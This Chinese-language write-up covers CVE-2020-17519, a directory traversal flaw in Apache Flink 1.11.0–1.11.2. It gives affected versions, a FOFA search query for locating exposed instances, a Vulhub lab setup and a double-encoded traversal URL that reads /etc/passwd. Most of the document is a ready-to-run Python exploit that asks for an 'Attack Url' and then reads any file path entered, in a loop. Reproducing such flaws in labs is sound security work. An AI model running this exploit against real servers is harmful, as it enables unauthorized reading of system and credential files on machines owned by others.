# Apache Flink 目录遍历漏洞 CVE-2020-17519 ## 漏洞描述 2021 年 01 月 06 日,360CERT 监测发现 `Apache Flink` 发布了 `Apache Flink 目录穿越漏洞` 的风险通告,漏洞编号为 `CVE-2020-17518,CVE-2020-17519`,漏洞等级:`高危`,漏洞评分:`8.5`。 远程攻击者通过 `REST API` 目录遍历,可造成 `文件读取/写入` 的影响。 Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。 参考: - https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801 - https://nvd.nist.gov/vuln/detail/CVE-2020-17519 ## 漏洞影响 ``` Apache Flink 1.11.0 Apache Flink 1.11.1 Apache Flink 1.11.2 ``` ## 网络测绘 ``` app="Apache Flink" ``` ## 环境搭建 Vulhub 执行以下命令启动 Apache Flink jobmanager 1.11.2: ``` docker-compose up -d ``` Apache Flink 启动后,访问 `http://your-ip:8081` 查看主页。 ![image-20220223182227651](images/202202231822762.png) ## 漏洞复现 查看/etc/passwd: ```plain http://xxx.xxx.xxx.xxx/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd ``` ![image-20220223182245983](images/202202231822055.png) ## 漏洞 POC ```python import requests import sys import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mVersion: Apache Flink 1.11.0-1.11.2 \033[0m') print('+ \033[36m使用格式: python3 CVE-2020-17519.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mFile >>> /etc/passwd \033[0m') print('+------------------------------------------') def POC_1(target_url, file_name): file_name = file_name.replace("/", "%252f") vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers) print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url)) if "root" in response.text: print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text)) else : print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) def POC_2(target_url, file_name): file_name_re = file_name.replace("/", "%252f") vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers) print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url)) if "error" not in response.text: print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text)) else : print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name)) except Exception as e: print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) file_name = "/etc/passwd" POC_1(target_url, file_name) while True: file_name = input("\033[35mFile >>> \033[0m") if file_name == "exit": sys.exit(0) else: POC_2(target_url, file_name) ``` ![image-20220211111729412](images/202202111117492.png)